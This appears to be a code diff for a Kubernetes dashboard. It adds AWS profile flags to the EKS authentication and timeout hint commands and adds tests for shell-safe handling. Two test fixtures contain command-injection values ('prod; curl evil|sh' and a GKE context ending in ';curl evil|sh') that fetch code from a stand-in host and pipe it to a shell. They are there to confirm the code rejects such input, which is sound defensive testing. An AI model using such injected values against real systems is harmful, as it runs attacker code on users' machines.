'aws sts get-caller-identity --profile myorg/prod/admin && aws eks describe-cluster --name prod --region us-east-1 --profile myorg/prod/admin --query cluster.accessConfig.authenticationMode --output text',
|
|
82
|
+
)
|
|
83
|
+
expect(rejected.hints.join(' ')).not.toContain("terminal's current AWS profile")
|
|
84
|
+
|
|
85
|
+
const auth = selectConnectionHints('auth', context, undefined, profile)
|
|
86
|
+
expect(auth?.authCommand?.command).toBe('aws sso login --profile myorg/prod/admin')
|
|
87
|
+
expect(auth?.fallbackCommand?.command).toBe('aws eks update-kubeconfig --name prod --region us-east-1 --profile myorg/prod/admin')
|
|
88
|
+
|
|
89
|
+
const timeout = selectConnectionHints('timeout', context, undefined, profile)
|
|
90
|
+
expect(timeout?.authCommand?.command).toBe('aws sso login --profile myorg/prod/admin')
|
|
91
|
+
expect(timeout?.fallbackCommand?.command).toBe('aws eks update-kubeconfig --name prod --region us-east-1 --profile myorg/prod/admin')
|
|
92
|
+
})
|
|
93
|
+
|
|
94
|
+
it('drops a hostile AWS profile instead of interpolating it', () => {
|
|
95
|
+
const context = 'arn:aws:eks:us-east-1:123456789012:cluster/prod'
|
|
96
|
+
const hints = getAuthRejectedHints(context, 'prod; curl evil|sh')
|
|
97
|
+
|
|
98
|
+
expect(hints.fallbackCommand?.command).toBe('aws sso login')
|
|
99
|
+
expect(hints.authCommand?.command).toBe(
|
|
100
|
+
'aws sts get-caller-identity && aws eks describe-cluster --name prod --region us-east-1 --query cluster.accessConfig.authenticationMode --output text',
|
|
101
|
+
)
|
|
102
|
+
})
|
|
103
|
+
|
|
74
104
|
it('does not offer interpolated commands for hostile GKE context values', () => {
|
|
75
105
|
const hints = getAuthRejectedHints('gke_project_us-east1_prod;curl evil|sh')
|
|
76
106
|
|
|
@@ -6,7 +6,7 @@ import { parseContextName } from '../utils/context-name'
|
|
|
6
6
|
import { useOpenLocalTerminal, ClusterName } from '@skyhook-io/k8s-ui'
|
|
7
7
|
import { useAuthMe, useContexts } from '../api/client'
|
|
8
8
|
import { Tooltip } from './ui/Tooltip'
|
|
9
|
-
import { allShellSafe } from '../utils/shell-safe'
|
|
9
|
+
import { allShellSafe, awsProfileFlag } from '../utils/shell-safe'
|
|
10
10
|
import { apiUrl } from '../api/config'
|
|
11
11
|
import { useCapabilitiesContext } from '../contexts/CapabilitiesContext'
|
|
12
12
|
|
|
@@ -33,7 +33,7 @@ interface AuthHints {
|
|
|
33
33
|
hideAuthButton?: boolean
|
|
34
34
|
}
|
|
35
35
|
|
|
36
|
-
function getAuthHints(context: string): AuthHints {
|
|
36
|
+
function getAuthHints(context: string, awsProfile?: string): AuthHints {
|
|
37
37
|
const parsed = parseContextName(context)
|
|
38
38
|
|
|
39
39
|
switch (parsed.provider) {
|
|
@@ -54,18 +54,19 @@ function getAuthHints(context: string): AuthHints {
|
|
|
54
54
|
return result
|
|
55
55
|
}
|
|
56
56
|
case 'EKS': {
|
|
57
|
+
const profileFlag = awsProfileFlag(awsProfile)
|
|
57
58
|
const result: AuthHints = {
|
|
58
59
|
title: 'EKS Authentication Failed',
|
|
59
60
|
hints: [
|
|
60
61
|
'Radar could not get AWS credentials for this context.',
|
|
61
62
|
'For AWS SSO contexts, the SSO session may need login.',
|
|
62
63
|
],
|
|
63
|
-
authCommand: { label: 'If this context uses AWS SSO, refresh credentials:', command:
|
|
64
|
+
authCommand: { label: 'If this context uses AWS SSO, refresh credentials:', command: `aws sso login${profileFlag}` },
|
|
64
65
|
}
|
|
65
66
|
if (parsed.region && allShellSafe(parsed.clusterName, parsed.region)) {
|
|
66
67
|
result.fallbackCommand = {
|
|
67
68
|
label: 'If that doesn\'t work, refresh cluster credentials:',
|
|
68
|
-
command: `aws eks update-kubeconfig --name ${parsed.clusterName} --region ${parsed.region}`,
|
|
69
|
+
command: `aws eks update-kubeconfig --name ${parsed.clusterName} --region ${parsed.region}${profileFlag}`,
|
|
69
70
|
}
|
|
70
71
|
}
|
|
71
72
|
return result
|
|
@@ -88,26 +89,34 @@ function getAuthHints(context: string): AuthHints {
|
|
|
88
89
|
}
|
|
89
90
|
}
|
|
90
91
|
|
|
91
|
-
export function getAuthRejectedHints(context: string): AuthHints {
|
|
92
|
+
export function getAuthRejectedHints(context: string, awsProfile?: string): AuthHints {
|
|
92
93
|
const parsed = parseContextName(context)
|
|
93
94
|
|
|
94
95
|
switch (parsed.provider) {
|
|
95
96
|
case 'EKS': {
|
|
97
|
+
const profileFlag = awsProfileFlag(awsProfile)
|
|
96
98
|
const result: AuthHints = {
|
|
97
99
|
title: 'EKS Could Not Authenticate This Request',
|
|
98
100
|
hints: [
|
|
99
101
|
'EKS returned HTTP 401, so Kubernetes could not authenticate this request.',
|
|
100
102
|
'The AWS credential may be missing, stale, or revoked, or its IAM principal may not be mapped through an EKS access entry or the cluster\'s legacy aws-auth configuration.',
|
|
101
103
|
'If the credential is current, ask a cluster admin to verify the mapping for the IAM principal used by this context.',
|
|
102
|
-
|
|
104
|
+
profileFlag
|
|
105
|
+
? 'The commands below use the AWS profile pinned by this context\'s kubeconfig exec block. If it also pins --role-arn, inspect that role instead.'
|
|
106
|
+
: 'The diagnostic uses the terminal\'s current AWS profile. If the kubeconfig exec block pins AWS_PROFILE or --role-arn, use that profile or role instead.',
|
|
103
107
|
'API and API_AND_CONFIG_MAP modes use access entries; CONFIG_MAP mode uses the aws-auth ConfigMap.',
|
|
104
108
|
],
|
|
105
|
-
fallbackCommand: {
|
|
109
|
+
fallbackCommand: {
|
|
110
|
+
label: profileFlag ? 'If this profile uses AWS SSO, re-login and retry:' : 'If this context uses the current AWS SSO profile, re-login and retry:',
|
|
111
|
+
command: `aws sso login${profileFlag}`,
|
|
112
|
+
},
|
|
106
113
|
}
|
|
107
114
|
if (parsed.region && allShellSafe(parsed.clusterName, parsed.region)) {
|
|
108
115
|
result.authCommand = {
|
|
109
|
-
label:
|
|
110
|
-
|
|
116
|
+
label: profileFlag
|
|
117
|
+
? 'Inspect the caller and authentication mode for the pinned AWS profile:'
|
|
118
|
+
: 'Inspect the caller and authentication mode for the current terminal AWS profile:',
|
|
119
|
+
command: `aws sts get-caller-identity${profileFlag} && aws eks describe-cluster --name ${parsed.clusterName} --region ${parsed.region}${profileFlag} --query cluster.accessConfig.authenticationMode --output text`,
|
|
111
120
|
}
|
|
112
121
|
// A diagnostic, not a re-auth — the "Authenticate in terminal" button
|
|
113
122
|
// would misrepresent what running it does.
|
|
@@ -167,7 +176,7 @@ function getAuthPluginStuckHints(): AuthHints {
|
|
|
167
176
|
}
|
|
168
177
|
}
|
|
169
178
|
|
|
170
|
-
function getTimeoutHints(context: string): AuthHints | null {
|
|
179
|
+
function getTimeoutHints(context: string, awsProfile?: string): AuthHints | null {
|
|
171
180
|
const parsed = parseContextName(context)
|
|
172
181
|
const baseHints = [
|
|
173
182
|
'The Kubernetes API did not respond before the deadline.',
|
|
@@ -192,15 +201,16 @@ function getTimeoutHints(context: string): AuthHints | null {
|
|
|
192
201
|
return result
|
|
193
202
|
}
|
|
194
203
|
case 'EKS': {
|
|
204
|
+
const profileFlag = awsProfileFlag(awsProfile)
|
|
195
205
|
const result: AuthHints = {
|
|
196
206
|
title: 'Connection Timed Out',
|
|
197
207
|
hints: [...baseHints, 'If the endpoint is reachable, AWS credentials or SSO may need refresh.'],
|
|
198
|
-
authCommand: { label: 'If this context uses AWS SSO and network access looks healthy, refresh credentials:', command:
|
|
208
|
+
authCommand: { label: 'If this context uses AWS SSO and network access looks healthy, refresh credentials:', command: `aws sso login${profileFlag}` },
|
|
199
209
|
}
|
|
200
210
|
if (parsed.region && allShellSafe(parsed.clusterName, parsed.region)) {
|
|
201
211
|
result.fallbackCommand = {
|
|
202
212
|
label: 'If that does not work, refresh cluster credentials:',
|
|
203
|
-
command: `aws eks update-kubeconfig --name ${parsed.clusterName} --region ${parsed.region}`,
|
|
213
|
+
command: `aws eks update-kubeconfig --name ${parsed.clusterName} --region ${parsed.region}${profileFlag}`,
|
|
204
214
|
}
|
|
205
215
|
}
|
|
206
216
|
return result
|
|
@@ -322,17 +332,17 @@ export function CopyableCommand({ command, onRunInTerminal }: { command: string;
|
|
|
322
332
|
)
|
|
323
333
|
}
|
|
324
334
|
|
|
325
|
-
export function selectConnectionHints(errorType: string | undefined, context: string, originalContext?: string): AuthHints | null {
|
|
335
|
+
export function selectConnectionHints(errorType: string | undefined, context: string, originalContext?: string, awsProfile?: string): AuthHints | null {
|
|
326
336
|
const parsedContext = originalContext || context
|
|
327
337
|
switch (errorType) {
|
|
328
338
|
case 'auth':
|
|
329
|
-
return getAuthHints(parsedContext)
|
|
339
|
+
return getAuthHints(parsedContext, awsProfile)
|
|
330
340
|
case 'auth-rejected':
|
|
331
|
-
return getAuthRejectedHints(parsedContext)
|
|
341
|
+
return getAuthRejectedHints(parsedContext, awsProfile)
|
|
332
342
|
case 'auth-plugin-stuck':
|
|
333
343
|
return getAuthPluginStuckHints()
|
|
334
344
|
case 'timeout':
|
|
335
|
-
return getTimeoutHints(parsedContext)
|
|
345
|
+
return getTimeoutHints(parsedContext, awsProfile)
|
|
336
346
|
default:
|
|
337
347
|
return null
|
|
338
348
|
}
|
|
@@ -344,9 +354,11 @@ export function ConnectionErrorView({ connection, onRetry, isRetrying }: Connect
|
|
|
344
354
|
const isAuthRejected = connection.errorType === 'auth-rejected'
|
|
345
355
|
const isAuthPluginStuck = connection.errorType === 'auth-plugin-stuck'
|
|
346
356
|
const isAuthError = isAuth || isAuthRejected || isAuthPluginStuck
|
|
347
|
-
const { data: contexts } = useContexts()
|
|
348
|
-
const
|
|
349
|
-
const
|
|
357
|
+
const { data: contexts, isLoading: contextsLoading } = useContexts()
|
|
358
|
+
const matchedContext = contexts?.find((context) => context.name === connection.context)
|
|
359
|
+
const originalContext = matchedContext?.originalName
|
|
360
|
+
const awsProfile = contextsLoading ? undefined : matchedContext?.awsProfile
|
|
361
|
+
const commandInfo = selectConnectionHints(connection.errorType, connection.context || '', originalContext, awsProfile)
|
|
350
362
|
const errorInfo = commandInfo || errorHints[connection.errorType || 'unknown'] || errorHints.unknown
|
|
351
363
|
const openLocalTerminal = useOpenLocalTerminal()
|
|
352
364
|
const { data: authMe } = useAuthMe()
|